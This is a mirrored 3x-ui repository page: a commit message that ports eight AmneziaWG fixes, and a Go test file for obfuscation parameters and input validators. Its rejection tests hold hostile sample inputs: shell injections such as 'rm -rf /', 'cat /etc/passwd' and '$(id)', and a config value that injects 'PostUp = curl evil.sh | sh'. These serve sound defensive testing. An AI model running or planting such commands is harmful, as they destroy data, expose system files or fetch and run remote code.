mirror of
https://github.com/MHSanaei/3x-ui.git
synced 2026-09-05 18:07:14 +00:00
d3da7abdf0
Same 8 findings fixed on upstream-pr/amneziawg, ported here since this fork's internal/amneziawg + related web/service files predate that PR branch's own fix-up commits: 1. hostRulesFingerprint now folds in a peer's IPv4 whenever ForwardedPorts is set, not only when RouteThroughXray is on, so a re-IP forces the bounce needed to move the DNAT rule too. 2. ValidateConfigValue (new, params.go) rejects control characters in server/client keys, email and I1 at save time; sanitizeConfigValue strips them defensively at .conf-render time. 3. checkForwardedPortsConflict now scopes to node_id IS NULL and takes a pre-loaded portConflictContext (loadPortConflictContext), so a port used only on another node isn't a false collision and an inbound with N clients costs one query instead of N. 4. PostDown commands are now best-effort (appendOrTrue) so an external firewall flush can't abort the rest of the teardown chain. 5. The "ip rule list | grep -q" existence check now uses grep -c >/dev/null, avoiding a pipefail/SIGPIPE false negative that could re-add a duplicate rule. 6. route_egress.go's stale "always present, no opt-in" comment corrected to describe the real RouteThroughXray-gated behavior. (This fork's genAmneziaWGLink already emits vpn://, and there's no upstream-facing docs page here, so neither needed the PR branch's Finding 6 docs/link-format changes.) 7. install.sh: Arch's ndppd install uses pacman -Sy, not -Syu, matching every other pacman call in the script; should_install_amneziawg short-circuits to yes when awg is already installed, so `x-ui update` doesn't re-prompt -- this fork's own opt-out-by-default philosophy for should_install_amneziawg is unchanged, only the redundant-reprompt behavior is fixed. 8. CollectTraffic checks pointer identity before writing back a traffic-counter baseline, so a concurrent restart's freshly-reset (empty) baseline can't be clobbered by stale pre-restart counters. sweepOrphansLocked no longer permanently disables itself on a transient os.ReadDir failure. go build/vet/test and frontend typecheck/lint/build/vitest all pass.
245 lines
6.9 KiB
Go
245 lines
6.9 KiB
Go
package amneziawg
|
|
|
|
import (
|
|
"strconv"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func TestGenerateObfuscation20DefaultRanges(t *testing.T) {
|
|
for i := 0; i < 200; i++ {
|
|
o := GenerateObfuscation20("default")
|
|
if o.Jc < 3 || o.Jc > 6 {
|
|
t.Fatalf("Jc = %d, want [3,6]", o.Jc)
|
|
}
|
|
if o.Jmin < 40 || o.Jmin > 89 {
|
|
t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
|
|
}
|
|
if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
|
|
t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
|
|
}
|
|
if o.S1 < 15 || o.S1 > 150 {
|
|
t.Fatalf("S1 = %d, want [15,150]", o.S1)
|
|
}
|
|
if o.S2 < 15 || o.S2 > 150 {
|
|
t.Fatalf("S2 = %d, want [15,150]", o.S2)
|
|
}
|
|
if o.S1+56 == o.S2 {
|
|
t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
|
|
}
|
|
if o.S3 < 8 || o.S3 > 55 {
|
|
t.Fatalf("S3 = %d, want [8,55]", o.S3)
|
|
}
|
|
if o.S4 < 4 || o.S4 > 27 {
|
|
t.Fatalf("S4 = %d, want [4,27]", o.S4)
|
|
}
|
|
for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
|
|
if err := validateHValue(h); err != nil {
|
|
t.Fatalf("%s = %q invalid: %v", name, h, err)
|
|
}
|
|
if h == "" {
|
|
t.Fatalf("%s is empty, want a generated range", name)
|
|
}
|
|
}
|
|
if !strings.HasPrefix(o.I1, "<r ") || !strings.HasSuffix(o.I1, ">") {
|
|
t.Fatalf("I1 = %q, want \"<r N>\" form", o.I1)
|
|
}
|
|
n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, "<r "), ">"))
|
|
if err != nil || n < 32 || n > 256 {
|
|
t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGenerateObfuscation20MobilePreset(t *testing.T) {
|
|
for i := 0; i < 100; i++ {
|
|
o := GenerateObfuscation20("mobile")
|
|
if o.Jc != 3 {
|
|
t.Fatalf("mobile preset: Jc = %d, want 3", o.Jc)
|
|
}
|
|
if o.Jmin < 30 || o.Jmin > 50 {
|
|
t.Fatalf("mobile preset: Jmin = %d, want [30,50]", o.Jmin)
|
|
}
|
|
if o.Jmax < o.Jmin+20 || o.Jmax > o.Jmin+80 {
|
|
t.Fatalf("mobile preset: Jmax = %d, want [Jmin+20, Jmin+80] (Jmin=%d)", o.Jmax, o.Jmin)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGenerateHRangesNonOverlapping(t *testing.T) {
|
|
for i := 0; i < 50; i++ {
|
|
h := generateHRanges()
|
|
var prevHi int64
|
|
for i, r := range h {
|
|
lo, hi, ok := strings.Cut(r, "-")
|
|
if !ok {
|
|
t.Fatalf("H%d = %q is not a range", i+1, r)
|
|
}
|
|
loN, _ := strconv.ParseInt(lo, 10, 64)
|
|
hiN, _ := strconv.ParseInt(hi, 10, 64)
|
|
if loN <= prevHi {
|
|
t.Fatalf("H%d = %q overlaps or touches the previous range (prev high=%d)", i+1, r, prevHi)
|
|
}
|
|
if hiN-loN < hMinWidth {
|
|
t.Fatalf("H%d = %q is narrower than hMinWidth=%d", i+1, r, hMinWidth)
|
|
}
|
|
prevHi = hiN
|
|
}
|
|
}
|
|
}
|
|
|
|
func validObfuscation() Obfuscation20 {
|
|
return GenerateObfuscation20("default")
|
|
}
|
|
|
|
func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
|
|
for i := 0; i < 50; i++ {
|
|
if err := ValidateObfuscation(validObfuscation()); err != nil {
|
|
t.Fatalf("generated obfuscation set rejected: %v", err)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
|
|
o := validObfuscation()
|
|
o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
|
|
if err := ValidateObfuscation(o); err != nil {
|
|
t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
|
|
}
|
|
}
|
|
|
|
func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
|
|
o := validObfuscation()
|
|
o.Jmin, o.Jmax = 50, 10
|
|
if err := ValidateObfuscation(o); err == nil {
|
|
t.Fatal("Jmin > Jmax must be rejected")
|
|
}
|
|
}
|
|
|
|
func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
|
|
o := validObfuscation()
|
|
o.S3 = 65
|
|
if err := ValidateObfuscation(o); err == nil {
|
|
t.Fatal("S3 > 64 must be rejected")
|
|
}
|
|
o = validObfuscation()
|
|
o.S4 = 33
|
|
if err := ValidateObfuscation(o); err == nil {
|
|
t.Fatal("S4 > 32 must be rejected")
|
|
}
|
|
o = validObfuscation()
|
|
o.S3, o.S4 = -1, -1
|
|
if err := ValidateObfuscation(o); err == nil {
|
|
t.Fatal("negative S3/S4 must be rejected")
|
|
}
|
|
}
|
|
|
|
func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
|
|
o := validObfuscation()
|
|
o.S1 = 30
|
|
o.S2 = o.S1 + 56
|
|
if err := ValidateObfuscation(o); err == nil {
|
|
t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
|
|
}
|
|
}
|
|
|
|
func TestValidateObfuscationRejectsBadH(t *testing.T) {
|
|
cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
|
|
for _, h := range cases {
|
|
o := validObfuscation()
|
|
o.H1 = h
|
|
if err := ValidateObfuscation(o); err == nil {
|
|
t.Fatalf("H1 = %q must be rejected", h)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
|
|
for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
|
|
if err := ValidateInterfaceName(name); err != nil {
|
|
t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
|
|
cases := []string{
|
|
"eth0 -j ACCEPT; rm -rf /",
|
|
"eth0`whoami`",
|
|
"eth0$(id)",
|
|
"eth0|cat /etc/passwd",
|
|
"eth0\nMASQUERADE",
|
|
"aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
|
|
}
|
|
for _, name := range cases {
|
|
if err := ValidateInterfaceName(name); err == nil {
|
|
t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
|
|
cases := []struct {
|
|
ip string
|
|
cidr int
|
|
}{
|
|
{"10.8.1.0", 24},
|
|
{"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
|
|
{"192.168.5.10", 32},
|
|
}
|
|
for _, c := range cases {
|
|
if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
|
|
t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
|
|
cases := []struct {
|
|
ip string
|
|
cidr int
|
|
}{
|
|
{"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
|
|
{"not-an-ip", 24},
|
|
{"", 24},
|
|
{"fd86::1", 64}, // IPv6, not IPv4
|
|
{"10.8.1.0", 33}, // cidr out of range
|
|
}
|
|
for _, c := range cases {
|
|
if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
|
|
t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
|
|
for _, v := range []string{"", "user@example.com", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
|
|
if err := ValidateConfigValue("email", v); err != nil {
|
|
t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
|
|
cases := []string{
|
|
"a@x\nPostUp = curl evil.sh | sh",
|
|
"a@x\r\n[Interface]",
|
|
"tab\there",
|
|
"a@x\x7f",
|
|
}
|
|
for _, v := range cases {
|
|
if err := ValidateConfigValue("email", v); err == nil {
|
|
t.Errorf("ValidateConfigValue(%q) must be rejected", v)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestSanitizeConfigValueStripsControlCharactersOnly(t *testing.T) {
|
|
if got := sanitizeConfigValue("a@x\nPostUp = evil\r\n"); got != "a@xPostUp = evil" {
|
|
t.Errorf("sanitizeConfigValue must drop newlines/CR without altering the rest, got %q", got)
|
|
}
|
|
if got := sanitizeConfigValue("plain-value_123"); got != "plain-value_123" {
|
|
t.Errorf("sanitizeConfigValue must not touch an already-clean value, got %q", got)
|
|
}
|
|
}
|